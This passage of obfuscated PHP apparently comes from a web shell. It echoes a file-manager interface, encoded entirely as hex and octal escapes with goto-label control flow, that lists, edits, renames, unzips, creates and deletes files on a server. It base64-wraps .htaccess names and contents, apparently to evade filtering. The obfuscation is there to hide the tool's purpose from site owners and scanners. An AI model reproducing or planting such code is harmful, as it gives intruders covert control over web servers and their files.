3e\74\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e\x3c\x2f\x64\151\166\76\xa\40\40\40\x20\74\151\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x69\x64\x3d\x22\x68\x69\x64\x64\x65\156\x46\151\154\145\x49\x6e\x70\165\164\x22\x20\155\x75\x6c\164\x69\160\154\x65\x20\x73\164\171\154\145\x3d\x22\144\x69\163\x70\154\x61\x79\x3a\156\157\156\x65\73\42\76\12\x20\40\x20\x20\x3c\x73\x63\x72\x69\x70\164\76\xa\x20\x20\40\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\141\144\144\105\x76\145\156\x74\114\x69\163\x74\145\156\x65\162\50\47\x44\x4f\115\x43\x6f\156\164\x65\x6e\x74\114\x6f\x61\x64\145\144\x27\x2c\x20\50\x29\40\75\x3e\x20\173\12\40\x20\x20\x20\40\40\x20\40\143\x6f\156\x73\x74\x20\123\x54\101\x54\105\40\75\x20\x7b\40\x63\165\x72\162\145\x6e\164\x50\x61\164\150\x3a\40\47"; goto jupxf; Nx60v: echo "\47\x2c\x20\173\40\155\145\x74\x68\157\x64\x3a\40\x27\x50\x4f\x53\x54\47\54\x20\142\x6f\x64\x79\x3a\40\146\157\162\155\104\141\164\x61\40\x7d\51\x3b\x20\143\157\x6e\x73\164\40\162\x65\x73\165\154\164\x20\75\40\141\167\x61\x69\164\x20\162\145\x73\160\157\156\163\x65\56\152\163\x6f\x6e\x28\x29\73\40\151\x66\x20\x28\x21\x72\145\x73\x75\154\x74\56\163\x75\x63\x63\x65\x73\x73\51\40\x74\x68\162\157\167\x20\x6e\x65\x77\40\105\x72\162\x6f\x72\50\162\145\x73\165\154\164\x2e\155\x65\x73\x73\x61\147\145\51\73\x20\151\x66\40\50\x73\x68\157\167\x53\165\143\143\x65\163\x73\x20\46\x26\x20\162\145\163\165\154\x74\56\x6d\x65\163\163\141\147\x65\x29\40\x61\x6c\145\162\164\x28\162\145\163\165\154\x74\x2e\155\x65\163\x73\141\147\x65\51\73\x20\x72\145\x74\165\162\x6e\x20\162\145\x73\165\154\164\73\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x7d\x20\x63\141\164\143\x68\x20\x28\145\x72\x72\x6f\x72\x29\x20\173\x20\x61\x6c\x65\162\164\50\140\x45\162\162\157\162\72\40\44\x7b\145\x72\x72\x6f\162\56\155\145\x73\x73\141\x67\x65\x7d\x60\x29\x3b\x20\x63\157\x6e\163\157\x6c\x65\56\x65\162\162\x6f\x72\x28\42\x46\x75\154\x6c\x20\162\145\x73\160\x6f\156\163\145\x3a\x22\54\40\x65\162\x72\157\162\x2e\x72\145\x73\160\x6f\156\163\145\x29\73\40\x72\x65\x74\165\x72\156\40\x6e\165\x6c\x6c\73\40\175\x20\x66\x69\156\141\x6c\x6c\171\x20\x7b\40\x64\x6f\155\56\x73\x70\x69\x6e\x6e\145\162\x2e\163\164\171\154\x65\x2e\x64\x69\163\x70\154\x61\171\x3d\x27\x6e\157\156\x65\x27\73\40\x7d\xa\x20\40\x20\x20\40\x20\40\40\175\12\40\40\x20\x20\x20\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\162\x65\x6e\x64\145\x72\50\51\40\x7b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\143\157\x6e\x73\164\x20\146\157\x72\155\104\141\164\x61\x20\x3d\x20\156\x65\x77\x20\106\157\162\x6d\x44\x61\164\x61\x28\51\x3b\40\146\x6f\162\x6d\104\x61\x74\141\56\x61\160\160\145\156\x64\x28\47\160\141\164\x68\47\54\x20\123\x54\x41\x54\105\56\143\165\162\x72\x65\156\164\x50\x61\164\x68\x29\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x61\x70\151\x43\x61\x6c\154\50\47\x6c\151\163\x74\x27\54\40\146\157\x72\155\104\x61\x74\x61\x29\x2e\164\x68\x65\156\50\162\x65\163\165\154\164\40\x3d\76\x20\173\12\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\151\146\40\50\x21\x72\x65\163\165\154\x74\51\x20\162\x65\164\x75\162\x6e\73\xa\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x53\124\101\124\105\56\143\x75\x72\162\x65\156\164\x50\141\164\150\x20\x3d\40\x72\x65\163\165\154\164\56\x70\x61\x74\x68\73\40\144\157\x6d\x2e\x70\141\x74\150\x42\x61\x72\56\x74\145\x78\x74\103\157\156\164\x65\156\164\40\75\x20\123\124\x41\124\105\x2e\143\165\x72\x72\x65\156\164\x50\141\164\150\73\x20\x6c\x65\x74\x20\x68\x74\x6d\x6c\40\x3d\40\x27\x27\73\40\154\x65\x74\x20\160\x61\162\x65\x6e\x74\120\x61\x74\x68\40\75\40\123\x54\101\x54\105\56\143\x75\x72\162\x65\156\x74\x50\141\x74\x68\56\163\x75\x62\163\164\x72\151\x6e\147\x28\x30\x2c\40\123\124\101\124\x45\56\143\165\x72\162\145\156\164\x50\141\x74\x68\56\154\141\x73\x74\x49\156\144\x65\x78\x4f\146\x28\x27\x2f\x27\51\51\73\x20\x69\x66\x20\50\160\141\x72\145\156\164\x50\141\164\150\40\75\75\75\x20\x27\47\51\x20\x70\141\x72\x65\x6e\164\x50\141\x74\150\x20\x3d\40\x27\x2f\47\73\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\151\146\x20\50\x53\124\x41\x54\105\56\143\x75\x72\x72\145\156\x74\120\x61\x74\150\40\x21\75\75\40\47\57\47\x29\40\x7b\x20\x68\164\x6d\154\40\53\75\40\x60\x3c\164\162\40\x64\x61\164\x61\55\160\141\x74\150\75\42\44\x7b\160\141\x72\x65\x6e\x74\x50\x61\164\x68\x7d\x22\x3e\74\x74\144\x3e\x3c\57\164\144\x3e\74\x74\x64\x20\x63\157\154\163\x70\141\x6e\x3d\42\64\x22\x20\143\154\x61\x73\163\75\x22\x69\x74\145\155\55\154\x69\156\153\x22\x3e\xc3\x83\xc2\xa2\303\x82\xc2\xac\303\202\302\206\xc3\203\302\xaf\303\x82\xc2\xb8\303\202\xc2\x8f\40\56\56\40\50\120\141\x72\x65\x6e\x74\40\104\151\x72\145\x63\164\157\x72\x79\51\x3c\x2f\164\x64\76\74\57\x74\x72\76\x60\x3b\40\175\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\162\145\163\x75\154\164\56\146\151\154\145\163\x2e\x73\157\162\164\50\50\141\54\142\51\40\x3d\x3e\x20\x28\x61\56\151\x73\x5f\144\151\x72\x20\x3d\75\x3d\x20\142\56\151\x73\137\144\151\x72\51\x20\x3f\x20\x61\x2e\156\x61\155\x65\56\x6c\x6f\x63\141\x6c\145\103\x6f\155\160\141\162\x65\x28\x62\56\156\141\x6d\x65\x29\40\x3a\40\50\x61\x2e\151\x73\x5f\x64\151\162\x20\77\40\55\61\40\72\x20\x31\51\51\x3b\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\x20\162\x65\163\165\154\x74\56\x66\151\x6c\x65\163\x2e\146\x6f\x72\x45\x61\143\x68\50\146\x69\154\145\x20\75\x3e\x20\x7b\xa\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x63\157\156\x73\164\40\163\x69\172\x65\40\x3d\40\x66\x69\x6c\x65\x2e\x69\163\137\x64\151\x72\40\77\x20\x27\55\47\x20\x3a\40\50\x66\151\x6c\x65\56\163\x69\x7a\x65\x20\57\40\x31\60\62\x34\x29\x2e\164\157\106\151\170\x65\144\50\x32\x29\40\53\40\47\x20\113\102\47\x3b\x20\143\x6f\156\x73\x74\40\155\157\144\151\146\x69\145\x64\40\x3d\x20\156\145\x77\40\x44\141\164\x65\50\x66\x69\x6c\145\x2e\x6d\x6f\144\151\x66\151\145\144\40\x2a\x20\x31\60\60\60\51\x2e\164\157\x4c\157\x63\141\154\x65\123\164\162\151\156\147\x28\x29\x3b\12\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x63\x6f\x6e\x73\164\x20\x69\x63\157\156\x20\75\40\146\151\x6c\145\56\x69\163\x5f\x64\151\162\40\77\x20\47\303\203\302\260\xc3\x82\302\237\303\202\xc2\223\303\x82\xc2\201\x27\x20\x3a\x20\47\303\x83\302\xb0\xc3\x82\xc2\237\xc3\202\302\223\303\x82\302\x84\x27\x3b\12\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\143\157\156\x73\164\40\x66\165\154\154\120\x61\x74\x68\40\x3d\40\x60\x24\x7b\123\124\101\x54\x45\56\x63\165\162\x72\x65\156\164\x50\141\x74\x68\175\57\44\x7b\146\x69\154\145\x2e\x6e\x61\x6d\145\175\140\x2e\x72\x65\160\x6c\141\x63\145\x28\57\x5c\57\53\x2f\147\x2c\x20\x27\57\47\51\x3b\x20\143\157\x6e\163\164\40\x64\141\x74\x61\x41\x74\164\x72\40\75\40\x60\144\141\x74\x61\55\160\x61\164\150\75\x22\44\173\146\x75\x6c\x6c\x50\141\164\x68\x7d\42\140\x3b\40\x63\157\156\x73\x74\x20\x72\x6f\x77\x44\x61\x74\x61\x20\75\x20\146\x69\154\145\56\x69\163\137\x64\151\162\40\77\x20\140\143\154\x61\x73\x73\75\42\144\151\x72\55\154\x69\x6e\x6b\x22\x20\x24\173\144\141\164\x61\x41\x74\164\x72\175\140\x20\72\40\47\47\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\150\164\x6d\x6c\40\53\75\40\x60\x3c\164\x72\x20\44\x7b\162\x6f\x77\104\141\164\x61\175\x3e\74\x74\144\76\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x63\150\145\143\x6b\142\x6f\x78\x22\40\143\154\141\x73\163\x3d\42\x69\x74\x65\x6d\55\163\145\154\145\x63\x74\42\x20\166\x61\x6c\x75\x65\75\x22\44\x7b\146\151\x6c\x65\x2e\x6e\x61\x6d\145\175\x22\76\74\x2f\x74\x64\76\74\x74\x64\76\x3c\141\x20\150\x72\x65\146\75\42\x23\42\x20\143\154\141\x73\x73\x3d\42\151\164\145\155\x2d\154\151\156\153\x22\x20\44\173\144\x61\164\x61\101\164\164\x72\175\76\x24\x7b\151\x63\157\x6e\x7d\40\44\173\x66\151\154\x65\x2e\156\141\155\x65\175\74\57\x61\x3e\x3c\57\164\x64\76\x3c\x74\144\76\44\x7b\x73\151\172\x65\175\x3c\x2f\x74\144\76\74\164\144\x3e\44\173\x6d\157\144\x69\x66\151\x65\x64\175\74\57\x74\144\76\x3c\x74\x64\x3e\x3c\x64\x69\x76\x20\143\154\x61\x73\x73\x3d\42\x61\143\x74\151\x6f\x6e\x73\42\76\44\x7b\x21\x66\151\154\145\x2e\151\x73\137\x64\x69\162\x20\77\40\140\x3c\x62\x75\164\x74\157\x6e\40\x63\x6c\141\163\x73\x3d\x22\142\x75\x74\164\x6f\156\x20\145\144\x69\x74\55\x62\164\x6e\42\x20\x24\x7b\x64\x61\x74\141\101\164\164\x72\175\x3e\105\144\x69\x74\x3c\x2f\142\165\x74\164\x6f\x6e\76\x60\40\x3a\x20\47\x27\x7d\74\x62\x75\164\164\x6f\156\x20\x63\154\x61\x73\x73\75\42\x62\165\164\x74\157\156\40\x72\145\x6e\141\155\x65\x2d\142\164\x6e\42\x20\144\x61\x74\141\55\x6e\x61\x6d\x65\75\x22\44\x7b\146\x69\154\145\56\156\x61\x6d\x65\175\x22\x3e\122\145\156\x61\x6d\x65\74\x2f\x62\x75\x74\164\x6f\x6e\76\x24\173\x66\x69\154\x65\56\156\141\x6d\x65\56\x65\x6e\144\163\x57\x69\x74\x68\50\x27\56\172\x69\160\47\x29\x20\77\40\140\x3c\142\165\164\164\157\x6e\40\x63\x6c\x61\163\x73\75\42\142\165\164\164\157\x6e\x20\x75\x6e\x7a\151\160\55\x62\x74\156\x22\x20\44\173\144\x61\164\x61\101\164\x74\162\x7d\x3e\125\156\x7a\151\x70\x3c\x2f\142\165\x74\x74\x6f\x6e\x3e\x60\72\x27\x27\40\175\x3c\57\x64\x69\166\x3e\x3c\x2f\164\x64\x3e\74\57\x74\x72\x3e\x60\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\175\x29\x3b\12\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\144\157\x6d\56\146\151\x6c\x65\114\151\163\164\56\x69\156\156\x65\162\110\x54\x4d\x4c\40\x3d\40\150\x74\155\154\73\40\x64\x6f\155\56\x73\x65\x6c\x65\143\x74\101\154\154\x2e\143\x68\145\143\153\x65\144\40\x3d\x20\x66\141\154\x73\x65\73\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\175\51\73\12\40\40\40\x20\x20\40\40\x20\x7d\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\40\x20\40\40\x20\x64\157\x6d\x2e\x66\x69\x6c\145\x4c\x69\163\x74\56\141\x64\x64\105\166\145\156\164\114\x69\163\164\x65\156\x65\x72\x28\x27\143\x6c\x69\x63\x6b\47\x2c\40\x65\x20\75\x3e\x20\173\xa\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x69\146\40\50\x65\56\x74\141\x72\147\145\x74\x2e\x6d\141\164\x63\x68\145\163\x28\47\56\x69\164\145\155\55\163\145\154\x65\143\164\47\x29\51\40\173\x20\x72\145\x74\x75\x72\156\x3b\x20\x7d\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\x62\x75\x74\164\157\x6e\40\x3d\x20\x65\56\x74\141\162\x67\x65\164\56\x63\x6c\157\163\x65\x73\164\x28\x27\142\165\x74\x74\157\x6e\47\51\x3b\12\x20\40\x20\40\x20\40\40\40\40\40\40\40\x69\x66\40\x28\x62\x75\x74\164\157\x6e\51\x20\173\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x65\56\x70\x72\x65\166\x65\156\164\104\x65\146\x61\x75\154\x74\x28\x29\73\12\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\x66\40\50\142\165\164\x74\157\x6e\56\155\x61\164\143\150\145\163\x28\x27\x2e\x72\x65\x6e\x61\155\145\55\x62\x74\156\x27\x29\x29\40\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\143\157\x6e\x73\164\40\x6f\154\144\116\141\155\x65\x20\x3d\40\142\x75\x74\x74\157\x6e\x2e\x64\x61\164\141\163\x65\x74\x2e\156\141\x6d\x65\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\156\x65\167\116\x61\x6d\x65\x20\75\x20\x70\162\x6f\155\160\164\50\x27\x45\156\164\x65\162\x20\156\x65\x77\x20\156\141\x6d\x65\72\47\54\x20\157\154\x64\x4e\141\155\145\51\73\12\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\151\x66\x20\50\156\145\x77\116\x61\155\x65\x20\46\46\x20\156\x65\167\x4e\x61\x6d\x65\40\41\75\x3d\40\157\x6c\144\116\141\155\145\x29\40\x7b\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\143\157\x6e\x73\x74\40\146\144\40\x3d\40\156\x65\x77\x20\x46\157\162\155\104\141\164\141\x28\x29\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\144\56\141\160\x70\x65\x6e\144\x28\x27\160\x61\x74\x68\47\54\x20\x53\x54\x41\124\x45\x2e\143\x75\162\x72\145\x6e\x74\120\x61\x74\150\x29\73\12\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x6c\x65\x74\40\x61\143\164\151\157\x6e\40\x3d\x20\47\x72\145\x6e\x61\155\x65\47\73\xa\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x69\146\40\x28\157\x6c\x64\116\x61\155\x65\56\151\156\x63\x6c\165\144\145\163\x28\x27\56\150\x74\x61\143\143\x65\163\x73\47\x29\x20\x7c\x7c\x20\x6e\x65\167\116\x61\x6d\x65\x2e\x69\x6e\143\x6c\x75\x64\145\163\50\47\56\x68\x74\x61\143\143\145\163\x73\x27\51\51\40\x7b\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\141\x63\x74\x69\157\x6e\x20\x3d\40\47\x72\x65\x6e\141\155\145\137\x62\x36\64\x27\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\146\x64\x2e\141\160\x70\145\156\x64\50\47\157\154\x64\137\156\x61\155\145\137\x62\66\64\x27\54\40\x62\164\x6f\141\x28\157\154\144\116\x61\x6d\x65\x29\51\x3b\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\146\144\56\x61\160\x70\x65\156\x64\x28\x27\156\x65\x77\x5f\x6e\141\x6d\145\x5f\142\x36\64\x27\x2c\40\142\x74\157\141\x28\x6e\x65\167\116\141\x6d\x65\x29\51\x3b\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\175\40\x65\x6c\x73\x65\40\173\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\146\x64\56\x61\x70\x70\x65\156\x64\50\47\x6f\x6c\x64\137\156\x61\155\x65\x27\x2c\x20\157\154\x64\x4e\141\x6d\145\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x66\x64\x2e\x61\x70\x70\x65\x6e\144\x28\47\x6e\145\x77\x5f\156\141\x6d\145\x27\x2c\x20\156\145\167\x4e\x61\x6d\x65\x29\x3b\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\175\12\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x61\160\151\x43\x61\x6c\x6c\50\x61\143\164\151\x6f\156\54\x20\x66\x64\51\56\x74\x68\x65\x6e\50\162\145\x6e\x64\145\x72\51\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\175\x20\12\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x65\x6c\x73\145\40\x69\x66\40\50\x62\165\x74\x74\157\156\56\155\141\164\143\x68\145\x73\x28\47\56\x75\156\x7a\x69\160\55\x62\164\x6e\47\51\x29\x20\x7b\40\x69\x66\40\x28\143\157\156\x66\x69\x72\x6d\x28\47\101\x72\x65\40\x79\x6f\x75\x20\x73\165\162\145\40\x79\157\x75\x20\167\x61\x6e\164\40\164\157\40\x65\x78\x74\162\141\x63\x74\x20\164\150\151\163\x20\x61\162\143\x68\151\166\145\77\x27\x29\51\x20\173\x20\x63\x6f\156\x73\164\40\x66\144\40\75\40\156\145\x77\40\106\157\162\x6d\x44\141\164\x61\x28\51\x3b\x20\146\x64\x2e\x61\x70\160\x65\156\x64\50\x27\x70\141\x74\x68\x27\54\x20\x62\165\164\x74\x6f\156\x2e\x64\x61\164\141\163\145\x74\x2e\x70\x61\164\x68\x29\x3b\40\x61\x70\151\103\141\154\x6c\50\47\165\156\x7a\151\x70\x27\x2c\x20\146\144\54\x20\164\x72\165\145\51\x2e\164\x68\x65\156\x28\162\x65\156\144\145\x72\51\73\x20\x7d\x20\175\x20\xa\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\145\x6c\x73\x65\x20\151\x66\40\50\142\165\x74\x74\x6f\156\56\155\141\164\x63\x68\x65\163\50\x27\x2e\x65\144\151\164\55\x62\x74\x6e\47\51\x29\x20\x7b\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x63\x6f\156\163\x74\x20\160\141\x74\150\40\x3d\x20\142\165\x74\x74\157\x6e\56\144\141\x74\141\x73\145\x74\x2e\160\x61\x74\150\x3b\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x63\157\x6e\x73\164\40\x66\144\x20\75\x20\156\x65\167\x20\x46\157\162\x6d\104\141\x74\x61\50\x29\73\xa\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\154\x65\x74\x20\x61\x63\164\151\x6f\156\40\x3d\x20\x27\x67\x65\x74\x5f\x63\x6f\156\164\145\156\x74\x27\x3b\12\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x69\x66\x20\x28\160\x61\x74\150\x2e\x69\156\x63\x6c\x75\144\x65\163\x28\47\x2e\x68\164\x61\x63\143\145\x73\x73\47\x29\x29\40\x7b\12\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\141\143\x74\x69\x6f\156\x20\x3d\x20\47\x67\145\164\x5f\143\157\156\x74\x65\156\x74\137\x62\66\x34\47\73\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\146\x64\x2e\141\x70\x70\x65\156\144\x28\x27\160\x61\x74\150\x5f\x62\66\x34\47\x2c\x20\142\164\157\x61\x28\x70\141\164\x68\51\51\73\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x7d\x20\145\x6c\163\145\40\173\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x66\x64\x2e\141\160\160\x65\156\144\x28\x27\160\x61\164\x68\47\54\x20\x70\141\x74\150\51\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\141\x70\x69\103\x61\x6c\x6c\50\141\x63\x74\151\157\156\54\x20\x66\144\x29\x2e\x74\x68\x65\156\50\x72\x65\x73\x75\154\164\40\x3d\76\40\x7b\12\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\151\x66\x28\162\x65\x73\x75\154\x74\51\40\x7b\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\144\x6f\155\x2e\x65\x64\151\164\157\x72\x46\x69\x6c\x65\x6e\141\x6d\145\x2e\x74\x65\x78\x74\x43\157\x6e\164\x65\156\x74\40\75\40\x70\141\x74\150\73\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x64\157\155\56\145\x64\x69\164\157\x72\56\166\x61\x6c\165\x65\x20\75\x20\141\164\x6f\x62\50\x61\164\157\x62\50\x72\145\x73\x75\x6c\x74\56\143\x6f\x6e\x74\x65\x6e\164\51\x29\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x64\x6f\155\x2e\145\x64\x69\x74\x6f\162\x4d\x6f\x64\141\154\56\x73\164\x79\x6c\x65\x2e\144\x69\x73\x70\154\x61\x79\40\x3d\x20\x27\x66\154\x65\170\47\73\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\175\51\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\175\12\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\162\x65\x74\165\x72\156\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x7d\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x63\x6f\x6e\163\x74\x20\x6e\x61\x76\124\141\x72\147\x65\x74\x20\75\40\x65\x2e\x74\141\x72\x67\145\164\56\143\x6c\x6f\x73\x65\163\x74\50\x27\x5b\144\141\x74\141\55\x70\141\164\x68\135\x27\x29\73\xa\x20\x20\40\x20\40\x20\40\40\40\40\40\40\151\x66\x20\x28\x6e\x61\166\124\141\162\147\145\x74\51\40\173\40\145\56\x70\x72\x65\x76\145\156\x74\104\x65\146\141\165\x6c\x74\x28\51\x3b\x20\x53\124\101\x54\x45\56\x63\x75\x72\x72\x65\x6e\164\x50\x61\x74\150\x20\x3d\x20\156\x61\166\x54\x61\162\x67\145\164\x2e\144\x61\164\141\x73\145\164\56\x70\x61\164\x68\73\40\162\x65\156\x64\x65\162\x28\51\x3b\40\175\xa\40\x20\x20\40\x20\x20\x20\40\x7d\51\x3b\xa\40\x20\x20\x20\40\x20\x20\40\xa\x20\40\40\40\40\x20\40\40\x64\157\x6d\56\156\x65\x77\x46\157\154\144\x65\162\x42\x74\156\56\141\x64\x64\105\x76\145\x6e\x74\x4c\x69\x73\x74\x65\x6e\145\162\50\47\143\154\151\143\153\x27\x2c\x20\50\x29\40\75\x3e\x20\173\x20\x63\x6f\x6e\x73\x74\x20\156\141\x6d\145\x20\x3d\x20\160\x72\157\155\x70\x74\50\47\x45\x6e\164\145\162\x20\x6e\x65\x77\x20\146\x6f\154\x64\x65\x72\x20\156\x61\x6d\x65\x3a\x27\51\x3b\x20\151\x66\x20\50\x6e\x61\x6d\145\51\40\x7b\40\143\157\x6e\x73\164\x20\146\x64\x20\75\x20\x6e\145\x77\x20\106\x6f\x72\x6d\x44\141\x74\x61\50\51\x3b\40\146\x64\x2e\141\x70\160\145\156\144\50\47\x70\x61\164\150\x27\x2c\40\123\124\101\x54\105\x2e\x63\x75\162\x72\x65\156\164\x50\141\164\150\51\x3b\x20\x66\144\56\x61\x70\x70\x65\x6e\144\x28\x27\156\141\155\145\x27\54\x20\x6e\x61\x6d\145\x29\73\40\141\x70\x69\x43\141\154\x6c\x28\47\143\162\x65\x61\x74\x65\x5f\x66\157\154\144\x65\x72\x27\54\40\146\144\51\x2e\164\x68\x65\x6e\x28\x72\145\x6e\144\x65\162\51\73\40\x7d\x20\175\x29\73\12\40\x20\x20\x20\x20\x20\x20\40\144\x6f\x6d\56\x6e\x65\x77\106\151\x6c\x65\x42\x74\x6e\x2e\141\x64\x64\x45\x76\145\156\164\114\x69\x73\164\145\156\x65\162\50\x27\143\x6c\x69\143\x6b\x27\54\x20\x28\x29\x20\75\x3e\40\173\x20\x63\157\156\163\164\x20\156\x61\x6d\145\x20\75\40\x70\162\x6f\155\160\164\x28\x27\105\156\164\x65\x72\x20\156\x65\167\x20\146\151\154\145\40\x6e\x61\x6d\x65\72\47\x29\x3b\x20\x69\146\40\50\156\141\x6d\145\51\40\x7b\40\x63\157\156\163\x74\40\x66\x64\40\75\x20\156\145\167\40\x46\157\x72\155\x44\141\x74\x61\x28\51\x3b\x20\x66\x64\56\x61\160\160\145\156\144\x28\47\160\141\164\x68\x27\54\40\123\x54\x41\x54\x45\56\143\x75\162\162\x65\156\164\x50\x61\x74\150\51\x3b\40\x66\x64\x2e\x61\160\160\x65\156\144\x28\x27\156\x61\x6d\145\47\x2c\x20\x6e\141\x6d\145\x29\x3b\40\x61\x70\151\103\x61\154\x6c\50\x27\x63\162\x65\141\164\x65\x5f\146\151\154\145\47\x2c\x20\x66\x64\51\x2e\x74\150\145\x6e\x28\162\x65\x6e\x64\145\x72\51\x3b\40\x7d\x20\x7d\x29\73\12\x20\x20\x20\x20\40\40\40\40\144\157\155\56\163\145\154\145\143\x74\x41\x6c\x6c\x2e\141\144\x64\105\x76\145\156\x74\x4c\151\163\x74\x65\156\x65\162\50\47\x63\x68\x61\156\147\145\x27\x2c\40\145\x20\x3d\76\40\x64\157\143\165\x6d\x65\x6e\x74\x2e\x71\165\x65\162\x79\123\x65\x6c\x65\143\164\157\x72\101\x6c\x6c\x28\x27\56\x69\164\x65\x6d\55\163\145\x6c\x65\143\x74\x27\x29\56\146\x6f\162\x45\141\x63\x68\50\x63\142\40\x3d\76\40\x63\142\56\143\x68\x65\143\x6b\x65\x64\x20\75\40\145\56\164\141\x72\147\x65\164\56\143\x68\x65\x63\x6b\145\x64\51\x29\73\12\x20\x20\40\40\40\40\40\x20\12\40\40\40\40\x20\x20\x20\x20\144\157\155\56\144\x65\154\x65\x74\x65\x42\164\156\x2e\x61\x64\144\x45\x76\145\156\164\x4c\x69\x73\x74\x65\x6e\145\x72\50\47\143\154\151\143\153\47\x2c\x20\x28\x29\x20\75\76\40\173\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\143\x6f\x6